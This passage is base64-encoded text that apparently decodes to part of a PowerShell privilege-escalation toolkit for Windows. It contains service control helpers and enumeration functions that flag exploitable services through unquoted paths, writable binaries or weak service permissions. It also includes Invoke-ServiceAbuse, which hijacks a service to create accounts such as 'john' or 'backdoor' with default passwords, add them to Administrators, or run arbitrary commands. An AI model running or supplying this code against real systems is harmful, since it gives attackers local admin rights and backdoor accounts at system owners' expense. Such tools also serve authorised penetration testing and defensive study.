J2aWNlLgoKICAgIC5QQVJBTUVURVIgU2VydmljZU5hbWUKCiAgICAgICAgVGhlIHNlcnZpY2UgbmFtZSB0byBzdG9wLiBSZXF1aXJlZC4KICAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW52b2tlLVNlcnZpY2VTdG9wIC1TZXJ2aWNlTmFtZSBWdWxuU1ZDCgogICAgICAgIFN0b3AgdGhlICdWdWxuU1ZDJyBzZXJ2aWNlLgojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFZhbHVlRnJvbVBpcGVsaW5lPSRUcnVlLCBNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VydmljZU5hbWUKICAgICkKCiAgICBwcm9jZXNzIHsKICAgICAgICAjIHF1ZXJ5IFdNSSBmb3IgdGhlIHNlcnZpY2UKICAgICAgICAkVGFyZ2V0U2VydmljZSA9IEdldC1XbWlPYmplY3QgLUNsYXNzIHdpbjMyX3NlcnZpY2UgLUZpbHRlciAiTmFtZT0nJFNlcnZpY2VOYW1lJyIgfCBXaGVyZS1PYmplY3QgeyRffQoKICAgICAgICAjIG1ha2Ugc3VyZSB3ZSBnb3QgYSByZXN1bHQgYmFjawogICAgICAgIGlmICgtbm90ICgkVGFyZ2V0U2VydmljZSkpewogICAgICAgICAgICBXcml0ZS1XYXJuaW5nICJbIV0gVGFyZ2V0IHNlcnZpY2UgJyRTZXJ2aWNlTmFtZScgbm90IGZvdW5kIG9uIHRoZSBtYWNoaW5lIgogICAgICAgICAgICByZXR1cm4gJEZhbHNlCiAgICAgICAgfQoKICAgICAgICB0cnkgewogICAgICAgICAgICAjIHN0b3AgdGhlIHNlcnZpY2UKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiU3RvcHBpbmcgc2VydmljZSAnJCgkVGFyZ2V0U2VydmljZS5OYW1lKSciCiAgICAgICAgICAgICRSZXN1bHQgPSBzYy5leGUgc3RvcCAiJCgkVGFyZ2V0U2VydmljZS5OYW1lKSIKCiAgICAgICAgICAgIGlmICgkUmVzdWx0IC1saWtlICIqQWNjZXNzIGlzIGRlbmllZCoiKXsKICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBBY2Nlc3MgdG8gc2VydmljZSAkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIGRlbmllZCIKICAgICAgICAgICAgICAgIHJldHVybiAkRmFsc2UKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRSZXN1bHQgLWxpa2UgIioxMDUxKiIpIHsKICAgICAgICAgICAgICAgICMgaWYgd2UgY2FuJ3Qgc3RvcCB0aGUgc2VydmljZSBiZWNhdXNlIG90aGVyIHRoaW5ncyBkZXBlbmQgb24gaXQKICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBTdG9wcGluZyBzZXJ2aWNlICQoJFRhcmdldFNlcnZpY2UuTmFtZSkgZmFpbGVkOiAkUmVzdWx0IgogICAgICAgICAgICAgICAgcmV0dXJuICRGYWxzZQogICAgICAgICAgICB9CgogICAgICAgICAgICBTdGFydC1TbGVlcCAxCiAgICAgICAgICAgIHJldHVybiAkVHJ1ZQogICAgICAgIH0KICAgICAgICBjYXRjaHsKICAgICAgICAgICAgV3JpdGUtV2FybmluZyAiRXJyb3I6ICRfIgogICAgICAgICAgICByZXR1cm4gJEZhbHNlCiAgICAgICAgfQogICAgfQp9CgoKZnVuY3Rpb24gSW52b2tlLVNlcnZpY2VFbmFibGUgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIEVuYWJsZXMgYSBzcGVjaWZpZWQgc2VydmljZS4KCiAgICAuUEFSQU1FVEVSIFNlcnZpY2VOYW1lCgogICAgICAgIFRoZSBzZXJ2aWNlIG5hbWUgdG8gZW5hYmxlLiBSZXF1aXJlZC4KICAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW52b2tlLVNlcnZpY2VFbmFibGUgLVNlcnZpY2VOYW1lIFZ1bG5TVkMKCiAgICAgICAgRW5hYmxlcyB0aGUgJ1Z1bG5TVkMnIHNlcnZpY2UuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUsIE1hbmRhdG9yeSA9ICRUcnVlKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRTZXJ2aWNlTmFtZQogICAgKQoKICAgIHByb2Nlc3MgewogICAgICAgICMgcXVlcnkgV01JIGZvciB0aGUgc2VydmljZQogICAgICAgICRUYXJnZXRTZXJ2aWNlID0gR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSAtRmlsdGVyICJOYW1lPSckU2VydmljZU5hbWUnIiB8IFdoZXJlLU9iamVjdCB7JF99CgogICAgICAgICMgbWFrZSBzdXJlIHdlIGdvdCBhIHJlc3VsdCBiYWNrCiAgICAgICAgaWYgKC1ub3QgKCRUYXJnZXRTZXJ2aWNlKSl7CiAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBUYXJnZXQgc2VydmljZSAnJFNlcnZpY2VOYW1lJyBub3QgZm91bmQgb24gdGhlIG1hY2hpbmUiCiAgICAgICAgICAgIHJldHVybiAkRmFsc2UKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgIyBlbmFibGUgdGhlIHNlcnZpY2UKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiRW5hYmxpbmcgc2VydmljZSAnJFRhcmdldFNlcnZpY2UuTmFtZSciCiAgICAgICAgICAgICROdWxsID0gc2MuZXhlIGNvbmZpZyAiJCgkVGFyZ2V0U2VydmljZS5OYW1lKSIgc3RhcnQ9IGRlbWFuZAogICAgICAgICAgICByZXR1cm4gJFRydWUKICAgICAgICB9CiAgICAgICAgY2F0Y2h7CiAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIkVycm9yOiAkXyIKICAgICAgICAgICAgcmV0dXJuICRGYWxzZQogICAgICAgIH0KICAgIH0KfQoKCmZ1bmN0aW9uIEludm9rZS1TZXJ2aWNlRGlzYWJsZSB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgRGlzYWJsZXMgYSBzcGVjaWZpZWQgc2VydmljZS4KCiAgICAuUEFSQU1FVEVSIFNlcnZpY2VOYW1lCgogICAgICAgIFRoZSBzZXJ2aWNlIG5hbWUgdG8gZGlzYWJsZS4gUmVxdWlyZWQuCiAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW52b2tlLVNlcnZpY2VEaXNhYmxlIC1TZXJ2aWNlTmFtZSBWdWxuU1ZDCgogICAgICAgIERpc2FibGVzIHRoZSAnVnVsblNWQycgc2VydmljZS4KIz4KCiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihWYWx1ZUZyb21QaXBlbGluZT0kVHJ1ZSwgTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlcnZpY2VOYW1lCiAgICApCiAgICAKICAgIHByb2Nlc3MgewogICAgICAgICMgcXVlcnkgV01JIGZvciB0aGUgc2VydmljZQogICAgICAgICRUYXJnZXRTZXJ2aWNlID0gR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSAtRmlsdGVyICJOYW1lPSckU2VydmljZU5hbWUnIiB8IFdoZXJlLU9iamVjdCB7JF99CgogICAgICAgICMgbWFrZSBzdXJlIHdlIGdvdCBhIHJlc3VsdCBiYWNrCiAgICAgICAgaWYgKC1ub3QgKCRUYXJnZXRTZXJ2aWNlKSl7CiAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBUYXJnZXQgc2VydmljZSAnJFNlcnZpY2VOYW1lJyBub3QgZm91bmQgb24gdGhlIG1hY2hpbmUiCiAgICAgICAgICAgIHJldHVybiAkRmFsc2UKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgIyBkaXNhYmxlIHRoZSBzZXJ2aWNlCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkRpc2FibGluZyBzZXJ2aWNlICckVGFyZ2V0U2VydmljZS5OYW1lJyIKICAgICAgICAgICAgJE51bGwgPSBzYy5leGUgY29uZmlnICIkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIiBzdGFydD0gZGlzYWJsZWQKICAgICAgICAgICAgcmV0dXJuICRUcnVlCiAgICAgICAgfQogICAgICAgIGNhdGNoewogICAgICAgICAgICBXcml0ZS1XYXJuaW5nICJFcnJvcjogJF8iCiAgICAgICAgICAgIHJldHVybiAkRmFsc2UKICAgICAgICB9CiAgICB9Cn0KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojCiMgU2VydmljZSBlbnVtZXJhdGlvbgojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBHZXQtU2VydmljZVVucXVvdGVkIHsKPCMKICAgIC5TWU5PUFNJUwoKICAgICAgICBSZXR1cm5zIHRoZSBuYW1lIGFuZCBiaW5hcnkgcGF0aCBmb3Igc2VydmljZXMgd2l0aCB1bnF1b3RlZCBwYXRocwogICAgICAgIHRoYXQgYWxzbyBoYXZlIGEgc3BhY2UgaW4gdGhlIG5hbWUuCiAgICAgICAgCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+ICRzZXJ2aWNlcyA9IEdldC1TZXJ2aWNlVW5xdW90ZWQKICAgICAgICAKICAgICAgICBHZXQgYSBzZXQgb2YgcG90ZW50aWFsbHkgZXhwbG9pdGFibGUgc2VydmljZXMuCgogICAgLkxJTksKICAgICAgCiAgICAgICAgaHR0cHM6Ly9naXRodWIuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9ibG9iL21hc3Rlci9tb2R1bGVzL2V4cGxvaXRzL3dpbmRvd3MvbG9jYWwvdHJ1c3RlZF9zZXJ2aWNlX3BhdGgucmIKIz4KCiAgICAjIGZpbmQgYWxsIHBhdGhzIHRvIHNlcnZpY2UgLmV4ZSdzIHRoYXQgaGF2ZSBhIHNwYWNlIGluIHRoZSBwYXRoIGFuZCBhcmVuJ3QgcXVvdGVkCiAgICAkVnVsblNlcnZpY2VzID0gR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSB8IFdoZXJlLU9iamVjdCB7JF99IHwgV2hlcmUtT2JqZWN0IHsoJF8ucGF0aG5hbWUgLW5lICRudWxsKSAtYW5kICgkXy5wYXRobmFtZS50cmltKCkgLW5lICIiKX0gfCBXaGVyZS1PYmplY3Qgey1ub3QgJF8ucGF0aG5hbWUuU3RhcnRzV2l0aCgiYCIiKX0gfCBXaGVyZS1PYmplY3Qgey1ub3QgJF8ucGF0aG5hbWUuU3RhcnRzV2l0aCgiJyIpfSB8IFdoZXJlLU9iamVjdCB7KCRfLnBhdGhuYW1lLlN1YnN0cmluZygwLCAkXy5wYXRobmFtZS5JbmRleE9mKCIuZXhlIikgKyA0KSkgLW1hdGNoICIuKiAuKiJ9CiAgICAKICAgIGlmICgkVnVsblNlcnZpY2VzKSB7CiAgICAgICAgRm9yRWFjaCAoJFNlcnZpY2UgaW4gJFZ1bG5TZXJ2aWNlcyl7CiAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1NlcnZpY2VOYW1lJyAkU2VydmljZS5uYW1lCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnUGF0aCcgJFNlcnZpY2UucGF0aG5hbWUKICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTdGFydE5hbWUnICRTZXJ2aWNlLnN0YXJ0bmFtZQogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0FidXNlRnVuY3Rpb24nICJXcml0ZS1TZXJ2aWNlQmluYXJ5IC1TZXJ2aWNlTmFtZSAnJCgkU2VydmljZS5uYW1lKScgLVBhdGggPEhpamFja1BhdGg+IgogICAgICAgICAgICAkT3V0CiAgICAgICAgfQogICAgfQp9CgoKZnVuY3Rpb24gR2V0LVNlcnZpY2VGaWxlUGVybWlzc2lvbiB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgVGhpcyBmdW5jdGlvbiBmaW5kcyBhbGwgc2VydmljZXMgd2hlcmUgdGhlIGN1cnJlbnQgdXNlciBjYW4gCiAgICAgICAgd3JpdGUgdG8gdGhlIGFzc29jaWF0ZWQgYmluYXJ5IG9yIGl0cyBhcmd1bWVudHMuIAogICAgICAgIElmIHRoZSBhc3NvY2lhdGVkIGJpbmFyeSAob3IgY29uZmlnIGZpbGUpIGlzIG92ZXJ3cml0dGVuLCAKICAgICAgICBwcml2aWxlZ2VzIG1heSBiZSBhYmxlIHRvIGJlIGVzY2FsYXRlZC4KICAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gR2V0LVNlcnZpY2VGaWxlUGVybWlzc2lvbgoKICAgICAgICBHZXQgYSBzZXQgb2YgcG90ZW50aWFsbHkgZXhwbG9pdGFibGUgc2VydmljZSBiaW5hcmVzL2NvbmZpZyBmaWxlcy4KIz4KICAgIAogICAgR2V0LVdNSU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSB8IFdoZXJlLU9iamVjdCB7JF8gLWFuZCAkXy5wYXRobmFtZX0gfCBGb3JFYWNoLU9iamVjdCB7CgogICAgICAgICRTZXJ2aWNlTmFtZSA9ICRfLm5hbWUKICAgICAgICAkU2VydmljZVBhdGggPSAkXy5wYXRobmFtZQogICAgICAgICRTZXJ2aWNlU3RhcnROYW1lID0gJF8uc3RhcnRuYW1lCgogICAgICAgICRTZXJ2aWNlUGF0aCB8IEdldC1Nb2RpZmlhYmxlRmlsZSB8IEZvckVhY2gtT2JqZWN0IHsKICAgICAgICAgICAgJE91dCA9IE5ldy1PYmplY3QgUFNPYmplY3QgCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZU5hbWUnICRTZXJ2aWNlTmFtZQogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1BhdGgnICRTZXJ2aWNlUGF0aAogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ01vZGlmaWFibGVGaWxlJyAkXwogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1N0YXJ0TmFtZScgJFNlcnZpY2VTdGFydE5hbWUKICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBYnVzZUZ1bmN0aW9uJyAiSW5zdGFsbC1TZXJ2aWNlQmluYXJ5IC1TZXJ2aWNlTmFtZSAnJFNlcnZpY2VOYW1lJyIKICAgICAgICAgICAgJE91dAogICAgICAgIH0KICAgIH0KfQoKCmZ1bmN0aW9uIEdldC1TZXJ2aWNlUGVybWlzc2lvbiB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgVGhpcyBmdW5jdGlvbiBlbnVtZXJhdGVzIGFsbCBhdmFpbGFibGUgc2VydmljZXMgYW5kIHRyaWVzIHRvCiAgICAgICAgb3BlbiB0aGUgc2VydmljZSBmb3IgbW9kaWZpY2F0aW9uLCByZXR1cm5pbmcgdGhlIHNlcnZpY2Ugb2JqZWN0CiAgICAgICAgaWYgdGhlIHByb2Nlc3MgZG9lc24ndCBmYWlsZWQuCiAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gR2V0LVNlcnZpY2VQZXJtaXNzaW9uCgogICAgICAgIEdldCBhIHNldCBvZiBwb3RlbnRpYWxseSBleHBsb2l0YWJsZSBzZXJ2aWNlcy4KIz4KICAgIAogICAgIyBjaGVjayBpZiBzYy5leGUgZXhpc3RzCiAgICBpZiAoLW5vdCAoVGVzdC1QYXRoICgiJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXHNjLmV4ZSIpKSkgeyAKICAgICAgICBXcml0ZS1XYXJuaW5nICJbIV0gQ291bGQgbm90IGZpbmQgJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXHNjLmV4ZSIKICAgICAgICAKICAgICAgICAkT3V0ID0gTmV3LU9iamVjdCBQU09iamVjdCAKICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1NlcnZpY2VOYW1lJyAnTm90IEZvdW5kJwogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnUGF0aCcgIiRFbnY6U3lzdGVtUm9vdFxTeXN0ZW0zMlxzYy5leGUiCiAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTdGFydE5hbWUnICROdWxsCiAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBYnVzZUZ1bmN0aW9uJyAkTnVsbAogICAgICAgICRPdXQKICAgIH0KCiAgICAkU2VydmljZXMgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9zZXJ2aWNlIHwgV2hlcmUtT2JqZWN0IHskX30KICAgIAogICAgaWYgKCRTZXJ2aWNlcykgewogICAgICAgIEZvckVhY2ggKCRTZXJ2aWNlIGluICRTZXJ2aWNlcyl7CgogICAgICAgICAgICAjIHRyeSB0byBjaGFuZ2UgZXJyb3IgY29udHJvbCBvZiBhIHNlcnZpY2UgdG8gaXRzIGV4aXN0aW5nIHZhbHVlCiAgICAgICAgICAgICRSZXN1bHQgPSBzYy5leGUgY29uZmlnICQoJFNlcnZpY2UuTmFtZSkgZXJyb3I9ICQoJFNlcnZpY2UuRXJyb3JDb250cm9sKQoKICAgICAgICAgICAgIyBtZWFucyB0aGUgY2hhbmdlIHdhcyBzdWNjZXNzZnVsCiAgICAgICAgICAgIGlmICgkUmVzdWx0IC1jb250YWlucyAiW1NDXSBDaGFuZ2VTZXJ2aWNlQ29uZmlnIFNVQ0NFU1MiKXsKICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlTmFtZScgJFNlcnZpY2UubmFtZQogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdQYXRoJyAkU2VydmljZS5wYXRobmFtZQogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTdGFydE5hbWUnICRTZXJ2aWNlLnN0YXJ0bmFtZQogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBYnVzZUZ1bmN0aW9uJyAiSW52b2tlLVNlcnZpY2VBYnVzZSAtU2VydmljZU5hbWUgJyQoJFNlcnZpY2UubmFtZSknIgogICAgICAgICAgICAgICAgJE91dAogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgoKZnVuY3Rpb24gR2V0LVNlcnZpY2VEZXRhaWwgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFJldHVybnMgZGV0YWlsZWQgaW5mb3JtYXRpb24gYWJvdXQgYSBzcGVjaWZpZWQgc2VydmljZS4KCiAgICAuUEFSQU1FVEVSIFNlcnZpY2VOYW1lCgogICAgICAgIFRoZSBzZXJ2aWNlIG5hbWUgdG8gcXVlcnkgZm9yLiBSZXF1aXJlZC4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEdldC1TZXJ2aWNlRGV0YWlsIC1TZXJ2aWNlTmFtZSBWdWxuU1ZDCgogICAgICAgIEdldHMgZGV0YWlsZWQgaW5mb3JtYXRpb24gYWJvdXQgdGhlICdWdWxuU1ZDJyBzZXJ2aWNlLgojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFZhbHVlRnJvbVBpcGVsaW5lPSRUcnVlLCBNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VydmljZU5hbWUKICAgICkKCiAgICBwcm9jZXNzIHsKICAgICAgICBHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9zZXJ2aWNlIC1GaWx0ZXIgIk5hbWU9JyRTZXJ2aWNlTmFtZSciIHwgV2hlcmUtT2JqZWN0IHskX30gfCBGb3JFYWNoLU9iamVjdCB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkXyB8IEZvcm1hdC1MaXN0ICoKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaHsKICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIkVycm9yOiAkXyIKICAgICAgICAgICAgICAgICRudWxsCiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICB9CiAgICB9Cn0KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojCiMgU2VydmljZSBhYnVzZQojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBJbnZva2UtU2VydmljZUFidXNlIHsKPCMKICAgIC5TWU5PUFNJUwoKICAgICAgICBUaGlzIGZ1bmN0aW9uIHN0b3BzIGEgc2VydmljZSwgbW9kaWZpZXMgaXQgdG8gY3JlYXRlIGEgdXNlciwgc3RhcnRzCiAgICAgICAgdGhlIHNlcnZpY2UsIHN0b3BzIGl0LCBtb2RpZmllcyBpdCB0byBhZGQgdGhlIHVzZXIgdG8gdGhlIHNwZWNpZmllZCBncm91cCwKICAgICAgICBzdG9wcyBpdCwgYW5kIHRoZW4gcmVzdG9yZXMgdGhlIG9yaWdpbmFsIEVYRSBwYXRoLiBJdCBjYW4gYWxzbyB0YWtlIGEgCiAgICAgICAgY3VzdG9tIC1DTUQgYXJndW1lbnQgdG8gdHJpZ2dlciBhIGN1c3RvbSBjb21tYW5kIGluc3RlYWQgb2YgYWRkaW5nIGEgdXNlci4KICAgICAgICAKICAgIC5QQVJBTUVURVIgU2VydmljZU5hbWUKCiAgICAgICAgVGhlIHNlcnZpY2UgbmFtZSB0byBtYW5pcHVsYXRlLiBSZXF1aXJlZC4KCiAgICAuUEFSQU1FVEVSIFVzZXJOYW1lCgogICAgICAgIFRoZSBbZG9tYWluXF11c2VybmFtZSB0byBhZGQuIElmIG5vdCBnaXZlbiwgaXQgZGVmYXVsdHMgdG8gImpvaG4iLgogICAgICAgIERvbWFpbiB1c2VycyBhcmUgbm90IGNyZWF0ZWQsIG9ubHkgYWRkZWQgdG8gdGhlIHNwZWNpZmllZCBsb2NhbGdyb3VwLgoKICAgIC5QQVJBTUVURVIgUGFzc3dvcmQKCiAgICAgICAgVGhlIHBhc3N3b3JkIHRvIHNldCBmb3IgdGhlIGFkZGVkIHVzZXIuIElmIG5vdCBnaXZlbiwgaXQgZGVmYXVsdHMgdG8gIlBhc3N3b3JkMTIzISIKCiAgICAuUEFSQU1FVEVSIExvY2FsR3JvdXAKCiAgICAgICAgTG9jYWwgZ3JvdXAgbmFtZSB0byBhZGQgdGhlIHVzZXIgdG8gKGRlZmF1bHQgb2YgQWRtaW5pc3RyYXRvcnMpLgogICAgCiAgICAuUEFSQU1FVEVSIENvbW1hbmQKICAgIAogICAgICAgIEN1c3RvbSBsb2NhbCBjb21tYW5kIHRvIGV4ZWN1dGUuCgogICAgLkVYQU1QTEUKCiAgICAgICAgUFMgQzpcPiBJbnZva2UtU2VydmljZUFidXNlIC1TZXJ2aWNlTmFtZSBWdWxuU1ZDCgogICAgICAgIEFidXNlcyBzZXJ2aWNlICdWdWxuU1ZDJyB0byBhZGQgYSBsb2NhbHVzZXIgImpvaG4iIHdpdGggcGFzc3dvcmQgCiAgICAgICAgIlBhc3N3b3JkMTIzISB0byB0aGUgIG1hY2hpbmUgYW5kIGxvY2FsIGFkbWluaXN0cmF0b3IgZ3JvdXAKCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEludm9rZS1TZXJ2aWNlQWJ1c2UgLVNlcnZpY2VOYW1lIFZ1bG5TVkMgLVVzZXJOYW1lICJURVNUTEFCXGpvaG4iCgogICAgICAgIEFidXNlcyBzZXJ2aWNlICdWdWxuU1ZDJyB0byBhZGQgYSB0aGUgZG9tYWluIHVzZXIgVEVTVExBQlxqb2huIHRvIHRoZQogICAgICAgIGxvY2FsIGFkbWluaXNydGF0b3JzIGdyb3VwLgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW52b2tlLVNlcnZpY2VBYnVzZSAtU2VydmljZU5hbWUgVnVsblNWQyAtVXNlck5hbWUgYmFja2Rvb3IgLVBhc3N3b3JkIHBhc3N3b3JkIC1Mb2NhbEdyb3VwICJQb3dlciBVc2VycyIKCiAgICAgICAgQWJ1c2VzIHNlcnZpY2UgJ1Z1bG5TVkMnIHRvIGFkZCBhIGxvY2FsdXNlciAiYmFja2Rvb3IiIHdpdGggcGFzc3dvcmQgCiAgICAgICAgInBhc3N3b3JkIiB0byB0aGUgIG1hY2hpbmUgYW5kIGxvY2FsICJQb3dlciBVc2VycyIgZ3JvdXAKCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEludm9rZS1TZXJ2aWNlQWJ1c2UgLVNlcnZpY2VOYW1lIFZ1bG5TVkMgLUNvbW1hbmQgIm5ldCAuLi4iCgogICAgICAgIEFidXNlcyBzZXJ2aWNlICdWdWxuU1ZDJyB0byBleGVjdXRlIGEgY3VzdG9tIGNvbW1hbmQuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUsIE1hbmRhdG9yeSA9ICRUcnVlKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRTZXJ2aWNlTmFtZSwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkVXNlck5hbWUgPSAiam9obiIsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFBhc3N3b3JkID0gIlBhc3N3b3JkMTIzISIsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJExvY2FsR3JvdXAgPSAiQWRtaW5pc3RyYXRvcnMiLAoKICAgICAgICBbU3RyaW5nXQogICAgICAgICRDb21tYW5kCiAgICApCgogICAgcHJvY2VzcyB7CgogICAgICAgICMgcXVlcnkgV01JIGZvciB0aGUgc2VydmljZQogICAgICAgICRUYXJnZXRTZXJ2aWNlID0gR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSAtRmlsdGVyICJOYW1lPSckU2VydmljZU5hbWUnIiB8IFdoZXJlLU9iamVjdCB7JF99CiAgICAgICAgJFNlcnZpY2VBYnVzZWQgPSAkTnVsbAoKICAgICAgICAjIG1ha2Ugc3VyZSB3ZSBnb3QgYSByZXN1bHQgYmFjawogICAgICAgIGlmICgkVGFyZ2V0U2VydmljZSkgewoKICAgICAgICAgICAgJFNlcnZpY2VBYnVzZWQgPSAkVGFyZ2V0U2VydmljZS5OYW1lCiAgICAgICAgICAgICRVc2VyQWRkZWQgPSAkTnVsbAogICAgICAgICAgICAkUGFzc3dvcmRBZGRlZCA9ICROdWxsCiAgICAgICAgICAgICRHcm91cG5hbWVBZGRlZCA9ICROdWxsCgogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgIyBjaGVjayBpZiBzYy5leGUgZXhpc3RzCiAgICAgICAgICAgICAgICBpZiAoLW5vdCAoVGVzdC1QYXRoICgiJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXHNjLmV4ZSIpKSl7IAogICAgICAgICAgICAgICAgICAgIHRocm93ICJDb3VsZCBub3QgZmluZCAkRW52OlN5c3RlbVJvb3RcU3lzdGVtMzJcc2MuZXhlIgogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICMgdHJ5IHRvIGVuYWJsZSB0aGUgc2VydmljZSBpdCB3YXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgICRSZXN0b3JlRGlzYWJsZWQgPSAkRmFsc2UKICAgICAgICAgICAgICAgIGlmICgkVGFyZ2V0U2VydmljZS5TdGFydE1vZGUgLWVxICJEaXNhYmxlZCIpIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICckU2VydmljZU5hbWUnIGRpc2FibGVkLCBlbmFibGluZy4uLiIKICAgICAgICAgICAgICAgICAgICBpZigtbm90ICQoSW52b2tlLVNlcnZpY2VFbmFibGUgLVNlcnZpY2VOYW1lICRTZXJ2aWNlTmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cg